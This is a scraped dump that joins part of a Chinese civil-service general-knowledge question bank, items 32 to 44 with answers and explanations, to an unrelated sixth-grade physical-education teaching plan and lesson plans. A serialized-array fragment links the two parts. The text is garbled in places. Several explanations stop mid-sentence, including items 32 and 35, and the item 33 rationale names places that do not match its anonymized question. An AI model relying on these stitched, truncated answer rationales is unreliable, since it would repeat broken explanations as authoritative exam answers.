
@#@故选D。

@#@@#@　　32、古往今来，人们一直嘲笑“杞人”是“天上本无事，庸人自扰之”，今天“忧天”不再是无稽之谈，是因为（）。

@#@@#@　　A、大量的二氧化碳被排入大气，会破坏大气层中的臭氧层@#@　　B、现在生产的无氟冰箱不再使用氟利昂@#@　　C、人类生产生活造成了严重的大气污染@#@　　D、一切事物都处在永不停息的运动变化发展过程中@#@　　【答案】D@#@　　【解析】AC两项意在说明人类活动造成严重的大气污染，“忧天”也成了一种必然的情绪。

@#@B项“无氟冰箱不再使用氟利昂”是人类通过科技创新努力保护生态环境的表现，不能成为“忧天”的理由。

@#@从哲学意义上来说，客观世界处在永不@#@　　33、XX市XX区公安局向其辖区内的XX驻XX省办事处发送关于安全相关事项使用的文种是（）。

@#@@#@　　A、请示@#@　　B、报告@#@　　C、函@#@　　D、决定@#@　　【答案】C@#@　　【解析】函适用于不相隶属机关之间商洽工作，询问和答复问题，请求批准和答复审批事项。

@#@余杭区公安局与上海驻浙江办事处为不相隶属机关。

@#@故选C。

@#@@#@　　34、20世纪70年代初几乎同时提出金融深化和金融抑制理论的经济学家是（）。

@#@@#@　　A、爱德华•肖@#@　　B、罗伯特•麦金农@#@　　C、菲利普斯@#@　　D、赫尔希曼@#@　　【答案】AB@#@　　【解析】1973年麦金农和肖在“经济发展中的金融深化”和“经济发展中的货币与资本”等著作中，阐述了金融体制与经济发展的密切联系，指出金融抑制会严重阻碍经济发展，而金融深化则将有力推动经济发展。

@#@@#@　　35、对“工业和人的环境是人的一本打开的心理学”这一观点分析正确的是（）。

@#@@#@　　A、是唯心主义观点，不具有科学性@#@　　B、这一观点将工业和环境理解为主观的@#@　　C、工业和人的环境是人的实践活动和实践的产物，体现着人的爱好、心理和价值@#@　　D、否认了人的实践活动对象的客观性@#@　　【答案】C@#@　　【解析】实践是指人能动地改造客观世界的对象性活动。

@#@实践以人为主体，以客观事物为对象。

@#@工业和人的环境，一方面是客观的，另一方面它又是人的认识和价值观念的体现。

@#@正因为工业和人的环境是人的实践活动和实践的产物，体现着人的爱好、心理和价值，所以我们可以把@#@　　36、下列描写节气的诗句中，节气最靠后的是（）。

@#@@#@　　A、小楼一夜听春雨，深巷明朝卖杏花@#@　　B、独出前门望野田，月明荞麦花如雪@#@　　C、一二三四五六七，万木生芽是今日@#@　　D、接天莲叶无穷碧，映日荷花别样红@#@　　【答案】B@#@　　【解析】A项选自陆游的《临安春雨初霁》，描写了清明时节的景色。

@#@B项选自白居易的《村夜》，描写了霜降时的景色。

@#@C项选自罗隐的《京中正月七日立春》，描写了立春时的景色。

@#@D项选自杨万里的《晓出净慈师送林子方》，描写了大暑时的景色。

@#@这四个节气中，霜降是最靠后的。

@#@B项当选。

@#@@#@　　37、实施西部大开发战略要统筹规划，突出重点。

@#@其哲学依据是（）。

@#@@#@　　A、同一矛盾的双方，其地位、作用是不平衡的@#@　　B、在复杂事物发展过程中，不同矛盾地位、作用是不平衡的@#@　　C、矛盾普遍存在，必须一分为二地看问题@#@　　D、一切事物都在发展，必须用发展的眼光看问题@#@　　【答案】B@#@　　【解析】复杂事物中包含多个矛盾，其中必有一个矛盾居于支配地位，对事物的发展起着决定作用，这个矛盾就是主要矛盾。

@#@反之，不处于支配地位，对事物的发展不起决定作用的矛盾就是次要矛盾。

@#@主次矛盾的原理告诉我们集中力量找出主要矛盾，才能找到解决复杂问题的重点、关键或中心，同时做到统筹兼顾，适当安排。

@#@@#@　　“实施西部大开发战略要统筹规划，突出重点”正是依据了“在复杂事物发展过程中，不同矛盾地位、作用是不平衡的”这一原理。

@#@故选B。

@#@@#@　　38、折柳送别，借柳寄情，古人常以“柳”指代“留”，来表达惜别之情。

@#@下列选项中的“柳”没有表达此种情感的是（）。

@#@@#@　　A、渭城朝雨浥轻尘，客舍轻轻柳色新@#@　　B、伤见路旁杨柳春，一重折尽一重新@#@　　C、柳汀斜对野人窗，零落衰条傍晓江@#@　　D、曾栽杨柳江南岸，一别江南两度春@#@　　【答案】C@#@　　【解析】C项中，唐代诗人陆龟蒙的《冬柳》中写道：

@#@@#@　　“柳汀斜对野人窗，零落衰条傍晓江。

@#@正是霜风飘断处，寒鸥惊起一双双。

@#@”这首诗写的是在寒风中零落枯槁的冬柳，寄寓了诗人自伤的情怀，并无惜别之情。

@#@其他三项均寄情于柳，表达惜别之情。

@#@其中A项诗句出自唐代诗人王维的《送元二使安西》，B项诗句出自唐代诗人施肩吾的《折杨柳》，D项诗句出自唐代诗人白居易的《忆杨柳》。

@#@因此C项当选。

@#@@#@　　39、通报的特点是（）。

@#@@#@　　A、具有典型性，选取的事例具有典型意义@#@　　B、具有教育性，起宣传教育的作用@#@　　C、具有叙述性，不加以论述@#@　　D、具有指导性，没有强制性规定@#@　　【答案】ABD@#@　　【解析】通报确实需要叙述事实，但有时也要展开论述。

@#@@#@　　40、沈阳、北京、台北三大故宫举世闻名，按照建造时间先后排序正确的是（）。

@#@@#@　　A、沈阳故宫一北京故宫一台北故宫@#@　　B、沈阳故宫一台北故宫一北京故宫@#@　　C、北京故宫一沈阳故宫一台北故宫@#@　　D、台北故宫一沈阳故宫一北京故宫@#@　　【答案】C@#@　　【解析】北京故宫于1420建成。

@#@沈阳故宫始建于1625年，初成于1636年。

@#@台北故宫始建于1962年，1965年夏落成。

@#@故选C。

@#@@#@　　41、下列各项属于公文主体部分的是（）。

@#@@#@　　A、标题@#@　　B、附件说明@#@　　C、公文生效标识@#@　　D、主题词@#@　　【答案】ABC@#@　　【解析】主体部分包括:

@#@标题、主送机关、正文、附件说明、成文时间、公文生效标识、附注。

@#@主题词属于版记部分。

@#@@#@　　42、下列诗句与其描写的传统节日对应不正确的是（）。

@#@@#@　　A、总把新桃换旧符——清明节@#@　　B、遍插茱萸少一人——重阳节@#@　　C、蓦然回首，那人却在灯火阑珊处——元宵节@#@　　D、两情若是久长时，又岂在朝朝暮暮——七夕节@#@　　【答案】A@#@　　【解析】A项出自王安石的《元日》，对应的是春节。

@#@B项出自王维的《九月九日忆山东兄弟》，重阳节有登高，插茱萸的习俗。

@#@C项出自辛弃疾的《青玉案•元夕》，描写的是元宵节。

@#@D项出自秦观的《鹊桥仙•纤云弄巧》，写的是七夕节。

@#@因此A项错误。

@#@@#@　　43、根据决策目标的影响程度不同，决策可以分为（）。

@#@@#@　　A、战略决策和战术决策@#@　　B、单目标决策和多目标决策@#@　　C、程序性决策和非程序性决策@#@　　D、常规决策和重复决策@#@　　【答案】A@#@　　【解析】根据不同的标准，决策可以划分为不同的类型。

@#@根据决策目标的多寡，可以分为单目标决策和多目标决策;@#@根据决策问题的重复程度不同，可以划分为程序性决策和非程序性决策。

@#@因此B项和C项不是正确答案，D项说的实际上是同一种决策，即程序性决策。

@#@@#@　　44、下列关于公文格式的表述中，恰当的一项是（）。

@#@@#@　　A、发文字号，是制发机关按顺序编列的公文代号，由机关代字、年份、序号三部分组成。

@#@@#@";i:

3;s:

27002:

"小学六年级体育教案@#@（此文档为word格式，下载后您可任意编辑修改！

@#@）@#@六年级第一学期体育教学计划@#@《体育（与保健）课程标准》的核心是惯彻“健康第一”的指导思想，促进学生健康成长，充分体现了“以学生为本”的教学，有利于学生身心发展和终身学习，具有与时俱进性，开拓创新性，纲领性，方向性和指导性。

@#@而传统的体育教学计划中的教学目标表述，是以教材为中心和以教师为中心，缺少明确的导向作用，因此对学生的学习效果难以进行有序有效的做出客观评价。

@#@在实施新课程改革中，要贯彻新课标，运用新理念。

@#@体育与保健基础知识，也是推进素质教育的主要课程，为了发展体育与保健的综合能力打基础。

@#@本学期根据体育《新课标》中，明确地规定了小学体育的目的：

@#@“通过教师与学生互动性体育教学，向学生进行体育卫生保健教育，增进学生健康，增进体质，促进德、智、体全面发展，为提高全民族的的素质奠定基础。

@#@”@#@六年级教学目标：

@#@@#@〈一〉使学生基本认识自己的身体和掌握锻炼身体的知识及方法，巩固一些体育、卫生保健的安全常识，培养经持锻炼身体的习惯。

@#@@#@〈二〉、提高对个人健康和群体健康的责任感，形成健康的生活方式：

@#@@#@发扬体育精神，形成积极进取、乐观开朗的生活态.@#@〈三〉初步学习田径、体操、小球类、民族传统体育、韵律活动和舞蹈等项目的基本技术，掌握简单的运动技能，进一步发展身体素质，提高身体基本活动能力。

@#@@#@〈四〉培养学习各项基本技术的兴趣和积极性，以及勇敢，顽强，胜不骄、败不馁，自觉遵守规则，团结协作等优良品质。

@#@@#@学生反馈信息@#@通过上个学期学生的聊天谈心，基本上了解了大部分学生对那些运动项目爱好和个别学生有自己的特长。

@#@以下就是学生希望这学期能学到和掌握的运动技能。

@#@@#@学生情况分析以及措施：

@#@@#@体育课教学应从增强体质出发，加强课堂的“三基”教学经常对学生进行思想品德教育，有意识地培养学生各种优良品质，充分发挥教师和学生两个方面的积极性，不断提高教学质量。

@#@@#@一、教师方面：

@#@@#@1、认真备课，精心写好教案，不备课，无教案不准上课。

@#@@#@2、认真学习和贯彻教学大纲，钻研教材，明确教材目的与任务，掌握教材重点、难点明确本课的教学任务、几为完成任务而采取的教学原则、教学方法，组织措施等。

@#@@#@3、根据教学任务，提前准备和布置好场地、器材、及教学用具、教师不准旷课、丢课或因故不能上课，必须经学校领导同意，并做好妥善安排。

@#@@#@4、采用各种表扬方法可以反复交叉，广泛应用，尽量使学生多受表扬和鼓励鼓励要真挚，果断、明快、表情亲切，要体现出教师的耐心，爱心，现任心。

@#@在表扬时，教师还应对学生提出更高的要求和努力的方向，使学生能正确对成绩和进步@#@5、教学原则、教学方法的运用，要从增强学生体质出发，根据青少年的心理生理特点及学生的实际情况，科学地安排好、密度和运动量。

@#@@#@6、教师要注意仪表整洁，举止大方，教态严肃、自然、注意精神文明的建设，并在课前三分钟前换好服装。

@#@在上课现场等候上课。

@#@@#@7、认真做好学生的学期、学年体育成绩的考核和评定，重视资料的积累和保管，并且定期进行科学的分析和归纳，指导和改进教学工作，不断提高教学质量。

@#@@#@8、教学中要充分发挥体育委员，小组长及积极分子的作用并且经常做好对他们的培养和训练工作，使他们真正起到教师助手作用。

@#@@#@9、教学中要有严密的组织纪律，严格的安全保护措施与要求，严防伤害事故的发生一旦发生伤害事故要及时向领导汇报并作好妥善处理。

@#@@#@二、学生方面：

@#@@#@1、学习目的明确，积极自觉的上好体育课。

@#@注意听讲，积极学习掌握必要的体育基本知识技能与科学锻炼身体的方法，逐步养成自觉锻炼的习惯。

@#@@#@2、上体育课，着装要轻便，整齐，做到穿轻便运动鞋上课，不带钢笔，小刀等提前按教师要求，在指定地点等候上课。

@#@站队时要做到快、静、齐。

@#@@#@3、不得无故缺课，不迟到、不早退，服从领导，听从指挥，遵守课堂各项规定。

@#@@#@4、要爱护体育器材，不得有意损害各种体育设备和用品，课后要按教师的要求如数送还各种器材。

@#@@#@教学内容@#@ @#@领域@#@水平目标@#@教材内容@#@学年@#@第一学期@#@第二学期@#@课时@#@课次@#@课时@#@课次@#@课时@#@课次@#@运动参与@#@主动参与运动动作的学习@#@技巧与器械练习各种滚翻@#@2@#@4@#@0.5@#@1@#@1.5@#@3@#@武术基本步型、基本功@#@8@#@16@#@4@#@8@#@2@#@8@#@运动技能@#@知道所练习运动项目的术语@#@ @#@@#@ @#@@#@初步掌握运动基本技术@#@足球动作技能、游戏与术语@#@6@#@9@#@5@#@7@#@1@#@2@#@篮球动作技能游戏与术语@#@2@#@1@#@1@#@2@#@1@#@2@#@羽毛球动作技能、游戏与术语@#@2@#@4@#@0@#@0@#@2@#@4@#@乒乓球动作技能、游戏与术语@#@4@#@8@#@3@#@6@#@1@#@2@#@技巧与器械练习@#@2@#@4@#@1@#@2@#@1@#@2@#@基本体操@#@2@#@4@#@1@#@2@#@1@#@2@#@武术（少年拳第一套）@#@12@#@20@#@6@#@8@#@4@#@14@#@韵律活动与舞蹈@#@2@#@4@#@1@#@2@#@1@#@2@#@地域性体育活动@#@1@#@3@#@1@#@3@#@观看体育比赛@#@观看比赛和表演回答学生提出的问题@#@课余@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@说出不同环境中可能面临危险和避免的方法@#@技巧与器械练习@#@2@#@4@#@1@#@2@#@1@#@2@#@跑的游戏@#@1@#@2@#@0．5@#@1@#@0．5@#@1@#@跳跃游戏@#@1@#@2@#@0．5@#@1@#@0．5@#@1@#@投掷游戏@#@1@#@2@#@0．5@#@1@#@0．5@#@1@#@球类游戏@#@1@#@2@#@0．5@#@1@#@0．5@#@1@#@对抗游戏@#@1@#@2@#@0．5@#@1@#@0．5@#@1@#@攀爬练习@#@1@#@2@#@0．5@#@1@#@0．5@#@1@#@身@#@体@#@能够用正确的身体姿势进行学习、运动和生活@#@基本体操队列队形@#@1@#@2@#@0．5@#@1@#@0．5@#@1@#@韵律活动与舞蹈@#@1@#@2@#@0．5@#@1@#@0．5@#@1@#@发展速度和平衡能力@#@田径（发展快速跑能力）@#@2@#@4@#@1@#@2@#@1@#@2@#@田径（跳高）@#@4@#@8@#@2.5@#@5@#@1．5@#@3@#@健@#@康@#@田径（跳远）@#@3@#@6@#@0@#@0@#@3@#@6@#@田径发展掷远能力和练习@#@2@#@4@#@1@#@2@#@1@#@2@#@技巧与器械练习@#@2@#@4@#@1@#@2@#@1@#@2@#@了解青春期的卫生保健知识了解营养与健康知识@#@体育与健康知识（青春男女身体特征）@#@1@#@2@#@0．5@#@1@#@0．5@#@1@#@体育与健康知识（青春期的卫生和科学）@#@1@#@2@#@0．5@#@1@#@0．5@#@1@#@体育与健康常识（体育活动与营养卫生）@#@1@#@2@#@0．5@#@1@#@0．5@#@1@#@了解从事体育活动时的营养卫生@#@体育与健康常识（了解自己的身体）@#@0．5@#@1@#@ @#@@#@ @#@@#@0．5@#@1@#@心理健康@#@体验身体健康状况变化的心理感受@#@田径（发展耐力跑能力的练习）@#@2．5@#@5@#@1@#@2@#@1．5@#@3@#@田径（发展跳跃能力的练习）@#@2@#@4@#@1@#@2@#@1@#@2@#@田径（发展投掷能力的练习）@#@2@#@4@#@1@#@2@#@1@#@2@#@正确对待生长发育和运动能力可能带来的问题@#@韵律活动与舞蹈@#@1@#@2@#@0．5@#@1@#@0．5@#@1@#@敢于进行难度较大的体育活动@#@技巧与器械练习（手脚并用爬杆）@#@1@#@2@#@0@#@0@#@1@#@2@#@技巧与器械练习（山羊分腿腾跃）@#@2@#@4@#@2@#@4@#@0@#@0@#@社会适应@#@在体育活动中表现出对弱者的尊重与关爱@#@技巧与器械练习（悬垂能力）@#@2@#@4@#@1@#@2@#@1@#@2@#@技巧与器械练习（发展支撑能力）@#@2@#@4@#@1@#@2@#@1@#@2@#@表现出社区活动的@#@教师指导下的双休日体育活动@#@教师指导下的交流活动@#@了解体育与健康资源@#@教师指导下的考察活动@#@教学进度表@#@周次@#@课次@#@学习目标@#@教材内容@#@一@#@1@#@掌握三个武术动作，初步领会足球传接球动作@#@复习武术动作、40米全速跑、足球传接球练习@#@2@#@遵守课堂常规养成正确身体姿态@#@认真上好体育课@#@3@#@发展奔跑能力与耐力@#@发展臂力@#@500米@#@实心球@#@二@#@1@#@掌握臂交叉跳绳的方法@#@培养机智、反应和传接球能力@#@臂交叉跳绳@#@截住空中球@#@2@#@培养学生灵敏、反应和掷准能力@#@提高耐久跑的能力。

@#@@#@跑互射@#@5分钟定时@#@3@#@学习上两步掷垒球或沙包技术，@#@发展灵敏、力量等素质。

@#@@#@上两步掷垒球或沙包@#@游戏：

@#@拉绳比跳@#@三@#@1@#@初步掌握上两步掷垒球或沙包技术@#@初步掌握支撑跳背的动作@#@上两步掷垒球或沙包@#@跳背@#@2@#@初步掌握分腿腾越的动作要领@#@进一步提高上两步掷垒技术@#@分腿腾越（山羊）@#@上两步掷垒球或沙包@#@3@#@进一步学习掌握分腿腾越技术动作@#@通过夺球战发展学生的对抗能力@#@分腿腾越（山羊）@#@游戏:

@#@夺球战@#@四@#@1@#@学会武术基本动作弹踢冲拳动作@#@掌握快速跑技术，培养跑的能力@#@武术基木动作

（一）@#@50米快速跑@#@2@#@学会武术基本动作马步架打@#@初步掌握跨越式跳高的起跳技术@#@武术基本动作

（二）@#@跨越式跳高@#@3@#@学会武术基本动作歇步盖打@#@"@#@8"@#@字运小足球游戏培养控球能力@#@武术基木动作（三）@#@游戏:

@#@"@#@8"@#@字运小足球@#@五@#@1@#@培养学生运球和控制球的能力@#@掌握蛙跳技术，发展腿部力量@#@游戏圆圈运球@#@蛙跳@#@2@#@学会武术基本动作提膝仆步穿掌@#@进--步改进跨越式跳高技术@#@武术基木动作（四）@#@跨越式跳高@#@3@#@学会武术动作虚步挑掌，发展协调性发展学生的反应和灵敏素质@#@武术基本动作（五）@#@游戏:

@#@改换目标@#@六@#@1@#@进一步提高跨越式跳高动作技术@#@培养学生单手传球能发展上肢力量@#@跨越式跳高@#@游戏:

@#@单手传球比快@#@2@#@巩固提高跨越式跳高的完整技术@#@增养学生攀爬能力，发展力量索质。

@#@@#@跨越式跳高（考核）@#@手脚并用爬垂直竿@#@3@#@进一步提高武术操动作质量@#@发展速度和奔跑能力@#@《二十四式简化太极》@#@武术操（考核）@#@迎面接力跑@#@七@#@1@#@学会低单杠的屈腿悬垂摆动动作@#@发展跑的能力，培养团结协作精神@#@屈腿悬垂摆动（低单杠）@#@游戏:

@#@圆圈接力跑@#@2@#@掌握双人跳短绳的方法@#@提高运球与传球能力@#@《二十四式简化太极》@#@双人跳镊绳@#@游戏:

@#@运球传球接力@#@3@#@掌握后蹬跑技术，发展腿部力量@#@培养负重快走的能力，发展下肢力量@#@后蹬跑@#@游戏;@#@互相帮助@#@八@#@1@#@掌握后滚翻一挺身跳技术@#@学会行进间高抬腿跑，发展腿部力量@#@后滚翻一挺身跳@#@行进间高抬腿跑@#@2@#@ @#@提高跨跳奔跑能力，@#@发展灵敏、协调素质@#@跨过障碍 @#@绕过障碍 @#@@#@游戏：

@#@突破重围@#@3@#@学生能够熟练地完成球性练习，增强球感，激发对篮球运动的兴趣。

@#@@#@篮球@#@素质@#@九@#@1@#@提高学生对足球的兴趣@#@初步了解足球运球、传球、停球@#@足球@#@2@#@初步掌握简单的小足球传球的动作技术、《二十四式简化太极》@#@小足球——传球@#@持轻物投准@#@3@#@初步掌握简单的小足球接球动作@#@小足球——接球、运球@#@持轻物投远@#@十@#@1@#@初步掌握小足球比赛方法和跳绳的练习方法@#@小足球——射门小比赛@#@跳绳@#@2@#@初步掌握小足球比赛方法并体验参与的乐趣。

@#@@#@小足球比赛@#@3@#@初步掌握跳长绳的方法@#@跳长绳@#@十一@#@1@#@使学生了解什么是仪表和仪表美@#@讲究仪表美@#@2@#@活动中体验小组合作，共同完成任@#@跳短绳、踢毽子@#@3@#@在体育活动中发展耐力素质@#@跳长绳、耐久跑@#@十二@#@1@#@了解青春期的身体特征@#@知道青春期生理机能的变化@#@认识青春期@#@2@#@解有关营养卫生和饮食卫生的知识，培养良好的饮食习惯。

@#@@#@体育活动与营养卫生@#@3@#@依据青春期的特点，能正确锻炼@#@《二十四式简化太极》@#@努力锻炼促发育——青春期与体育@#@十三@#@1@#@发展速度和奔跑能力@#@掌握小足球比赛方法@#@接力跑@#@足球比赛@#@2@#@了解乒乓球基本知识@#@掌握两种球拍握法@#@乒乓球基本知识@#@球拍的握法@#@3@#@学生基本掌握手法、步法的技术要领，培养学生对乒乓球兴趣和爱好@#@乒乓球手法练习@#@步法练习@#@十四@#@1@#@学生学习了解乒乓球推挡技术@#@乒乓球推档练习@#@2@#@巩固步法的动作要领@#@基本掌握发冲球的方法@#@学习正手发球（冲球）@#@3@#@通过学习基本掌握正手攻球的动作技术、《二十四式简化太极》@#@学习正手攻球@#@ @#@身体素质练习@#@十五@#@1@#@培养学生对乒乓球兴趣和爱好@#@乒乓球比赛@#@2@#@掌握小足球比赛方法并体验参与的乐趣。

@#@@#@小足球比赛@#@3@#@发展速度和奔跑能力、《二十四式简化太极》@#@50米考核@#@十六@#@1@#@掌握抛接物体的能力，学会与他人合作一起完成运动任务@#@实心球@#@2@#@发展耐力素质@#@400米考核@#@3@#@发展学生快速奔跑的能力@#@培养爱护环境的意识@#@跑的练习@#@有趣的保龄球比赛@#@六年级体育教案@#@教学内容：

@#@复习武术动作三个40米全速跑足球传接球练习@#@教学目标：

@#@1、复习武术操中的三个动作，掌握这些动作要领。

@#@@#@2、四人小组传接球练习，初步领会脚背内侧传球技术。

@#@@#@教学过程：

@#@@#@一、师生问好@#@二、准备操：

@#@@#@1、慢跑两圈@#@2、扩胸运动、体前屈@#@三、复习三个武术操动作。

@#@@#@1、弓步冲拳@#@成左弓步，左手向左手搂收回腰间抱拳；@#@冲右拳。

@#@目视前方（图1－2）。

@#@@#@2、弹腿冲拳@#@重心前移，右腿向前弹踢，同时冲左拳，收右拳。

@#@目视前方（图1－3）。

@#@@#@2－12－22－3@#@3、右脚落地，向左转体90°@#@，下蹲成马步，同时左拳变掌，屈臂上架，冲右拳；@#@目视右方@#@四、40米全速跑@#@1、教师分组。

@#@@#@2、跑步技术指导，用前脚掌跑。

@#@@#@3、四人一组，听指挥，按顺序跑。

@#@@#@五、四人小组传接球@#@1、教师讲解足球传接球动作。

@#@重点讲解示范脚背内侧传球技术@#@2、学生分组。

@#@@#@3、学生分组练习，教师巡回指导。

@#@@#@五、整理放松。

@#@@#@六年级体育教案@#@教学内容：

@#@体育常识——认真上好体育课@#@教学目标：

@#@1、通过教学使学生了解做早操的好处，知道体育课简单的常规要求。

@#@@#@2、使学生养成认真做操，遵守课堂常规的习惯，以及坐、立、行正确的身体姿态。

@#@@#@3、培养学生能够经常做早操，养成锻炼身体的好习惯。

@#@@#@教学过程：

@#@@#@一、听唱歌：

@#@《活动歌》@#@二、师生问好：

@#@@#@三、宣布本次课的内容和任务：

@#@@#@1、讲解本学期体育课的要求和任务内容。

@#@@#@2、学生知道以下内容：

@#@师生共同讨论@#@

（1）什么是体育？

@#@@#@

（2）为什麽要上体育课？

@#@@#@（3）怎样上好体育课？

@#@@#@a.小朋友从上小学起，要学习好几门功课，其中就有体育课。

@#@这是国家的安排在课表上的课程，每星期要上三节体育课。

@#@@#@b.体育课是体育老师指导大家做游戏、玩球，走、跑、跳跃投掷、攀爬等各种身体练习的课，是锻炼身体的课。

@#@课前，要做好充分准备。

@#@穿好轻便的服平底胶鞋；@#@清理衣兜不带尖、硬的东西）；@#@协助老师准备场地器材；@#@提前到上课地点等待上课。

@#@@#@c.课上，积极主动地参加各种。

@#@上课铃响，立刻站好队；@#@专心听老师讲课和练习活动，不受操场其他活动的影响；@#@练习时，积极努力，不怕困难，遵守秩序，注意安全，与同学团结合作，并能创造出新的玩法。

@#@@#@d.课后，不要大量喝水（尤其饮料）和立刻吃东西。

@#@@#@四、小游戏：

@#@@#@（抓手指）@#@规则：

@#@@#@1、手放平。

@#@@#@2、食指尖必须顶着手掌心。

@#@@#@3、听到教师口令后才能抓手指。

@#@@#@六年级体育教案@#@教学内容：

@#@1.500米2.实心球@#@教学目标：

@#@1、发展奔跑能力与耐力。

@#@培养学生不怕苦，不怕累的精神。

@#@@#@2、通过实心球练习，发展臂力。

@#@@#@教学过程：

@#@@#@一、准备部分：

@#@（8’）@#@1.师生问号@#@2.队列练习：

@#@立正、看齐、稍息。

@#@@#@3.准备活动：

@#@慢跑200米。

@#@@#@4．做半蹲连续跳。

@#@@#@二、基本部分：

@#@（28’）@#@1.500米耐力训练@#@

（1）思想教育。

@#@教育学生尽力即可，不要勉强，但也不能应付了事。

@#@@#@

（2）组织教学：

@#@学生分成四组进行。

@#@每位学生绕操场两圈。

@#@@#@（3）要求：

@#@跑完后不可立即就坐，要慢走、深呼吸。

@#@@#@2.实心球@#@

（1）讲解示范实心球动作。

@#@@#@

（2）组织教学:

@#@分成5人一组练习。

@#@@#@（3）要求：

@#@出手点高。

@#@@#@三、结束部分：

@#@@#@1.整理放松。

@#@@#@2.小结、讲评。

@#@表扬表现好得同学。

@#@@#@3.下课。

@#@@#@六年级体育教案@#@教学内容：

@#@1.臂交叉跳绳@#@2.游戏：

@#@截住空中球@#@教学目标：

@#@1.掌握臂交叉跳绳的方法，发展弹跳力、灵敏性、协调性。

@#@@#@2.通过截住空中球游戏，培养机智、反应和传接球能力。

@#@@#@教学过程：

@#@@#@一、准备部分：

@#@（8’）@#@1.师生问好。

@#@@#@2.队列练习：

@#@四面转法，横队齐步走。

@#@@#@3.准备活动：

@#@慢跑250米；@#@绳操5节。

@#@@#@

（1）伸展运动：

@#@预备姿势：

@#@立正两手握绳两端（将绳对折成短绳），同时下垂于体前。

@#@@#@1横绳前平举。

@#@同时左脚侧出一步。

@#@@#@2横绳上举挺胸。

@#@@#@3还原成1的姿势。

@#@@#@4还原成预备姿势。

@#@@#@5678同1234，但方向相反。

@#@@#@

（2）下蹲运动：

@#@预备姿势：

@#@双脚开立，横绳垂于体前。

@#@@#@1横绳前平举。

@#@@#@2.下蹲。

@#@@#@3.还原成1的姿势。

@#@@#@4.还原成预备姿势。

@#@@#@5678同1234@#@（3）体转运动：

@#@预备姿势，横绳下垂于体前。

@#@@#@1.横绳前平举。

@#@@#@2.左臂向左侧摆，同时右臂胸前平屈，头械转，眼看左手。

@#@@#@3.还原成1的姿势。

@#@@#@4.还原成预备姿势。

@#@@#@5678同1234，但方向相反。

@#@@#@（4）体前屈运动：

@#@预备姿势：

@#@方正，横绳下垂于体前。

@#@@#@1.屈肘横绳于胸前，同时左脚侧出一步。

@#@@#@2.上体前屈横绳下垂。

@#@@#@3.还原成预备的姿势。

@#@@#@4.还原成预备姿势。

@#@@#@5678同1234，但方向相反@#@（5）全身运动：

@#@预备姿势：

@#@立正，横绳下垂于体前。

@#@@#@1.左脚向左前迈出弓步，同时横绳上举，（抬头挺胸）。

@#@@#@2.上体前屈，横绳下垂，置左脚前。

@#@@#@3.还原成1的姿势。

@#@@#@4.还原成预备姿势。

@#@@#@5678同1234，方向相反。

@#@@#@二、基本部分：

@#@（28'@#@）@#@1.臂交叉跳绳@#@

（1）向前摇绳臂交叉跳绳（并脚跳）@#@动作：

@#@两手握绳的两端，绳由体后前摇，当绳摇到前上方时，两臂迅速体前交叉，同时向后快速抖腕（前臂外旋），两脚立即跳起，绳通过再摇至头上方时交叉两臂还原，用同样方法连续跳。

@#@@#@

（2）向后摇绳臂交叉跳绳（并脚跳）@#@动作：

@#@两手握绳的两端，绳由体前向后摇，两脚立即跳起，两臂由下向上在体前交叉，同时快速抖腕（前臂内旋），两脚立即跳起，绳@#@通过两脚，交叉臂还原，用同样方法连续跳。

@#@@#@（3）讲解示范。

@#@@#@（4）练习方法：

@#@分组练习。

@#@@#@（5）注意事项：

@#@教师应掌握学生练习的次数、速度、时间，每次练习后要有适当的时间让学生做放松活动。

@#@@#@2.游戏：

@#@截住空中球@#@

（1）方法：

@#@将参加游戏的分成几组，各组指定一人先站在圈内，其余的人均匀的站在圆圈外，游戏开始，圈外的人相互传接小球，圈内的人积极抢截。

@#@截住球后，与传球失误的人交换位置，游戏继续进行。

@#@@#@

（2）规则：

@#@传球者不得进圈，不得递球。

@#@@#@（3）注意事项：

@#@@#@1.游戏前，讲解示范抢断的动作要领，并组织练习。

@#@@#@2.每组人数不宜过多，以提高密度和效果。

@#@@#@3.对体弱的学生适当照顾，及时换人，男女生可分组比赛。

@#@@#@三、结束部分：

@#@（4'@#@）@#@1.整理放松。

@#@@#@2.小结、讲评。

@#@@#@3.下课。

@#@@#@六年级体育教案@#@教学内容：

@#@1.互射@#@2.4-5分钟定时跑@#@教学目标：

@#@1.通过互射游戏，培养学生灵敏、反应和掷准能力@#@2.发展学生耐力素质，提高耐久跑的能力。

@#@@#@教学过程：

@#@@#@一、准备部分：

@#@（8'@#@）@#@1.师生问好。

@#@@#@2.队列练习：

@#@横队、纵队齐步走。

@#@@#@3.准备活动：

@#@慢跑两圈，徒手操6节。

@#@@#@二、基本部分：

@#@（28'@#@）@#@1.游戏：

@#@互射@#@

（1）方法：

@#@将参加游戏的人分成人数相等的甲，乙两队，各队分散站在本队的场地内。

@#@游戏开始，先由甲队用沙包向乙队投击，乙队接住或沙包回击。

@#@击中对方身体得1分。

@#@在规定的时间内，得分多的队为胜。

@#@@#@

（2）规则：

@#@1.投击和躲闪必须在场内进行。

@#@@#@2.只准投击头以下部分。

@#@@#@（3）注意事项：

@#@<@#@1.在场上画几个似排球场地，视人数多少分成双数组进行比赛。

@#@@#@<@#@2.教师要启发学生互相配合巧妙用沙包击中对方，要求学生集中注意力，善于判断及时躲闪。

@#@@#@<@#@3.根据情况可以增加沙包数目，提高学生积极性。

@#@@#@2.4-5分钟定时跑@#@

（1）动作：

@#@4-5分钟定时跑是一种规定时间的耐力跑。

@#@开始练习时，可用中等以下速度匀速跑动，坚持跑完4-5分钟。

@#@在此基础上还可采用变速跑，以在规定的时间内跑完的距离越长越好。

@#@跑时，用全脚掌着地，然后过渡到前脚掌后蹬离地，动作要轻快，步幅要均匀，呼吸要有节奏。

@#@@#@

（2）讲解示范。

@#@@#@（3）练习方法：

@#@成纵队集体练习。

@#@@#@（4）注意事项：

@#@教师随时观察学生情况，对体弱学生要区别对待。

@#@@#@三、结束部分：

@#@（4'@#@）@#@1.整理放松。

@#@@#@2.小结、讲评。

@#@@#@3.宣布下次课内容。

@#@@#@4.下课。

@#@@#@六年级体育教案@#@教学内容：

@#@1.上两步掷垒球2.游戏：

@#@拉绳比跳@#@教学目标：

@#@1.初步掌握上两步掷垒球或沙包技术，提高投掷能力。

@#@@#@2.通过拉绳比跳游戏，发展灵敏、力量等素质。

@#@@#@教学过程：

@#@@#@一、准备部分（8’）@#@1.师生问好。

@#@@#@2.队列练习。

@#@@#@3.准备活动：

@#@慢跑250米，徒手操6节@#@二、基本部分（28’）@#@1.上两步掷垒球

（一）@#@

（1）讲解示范。

@#@@#@

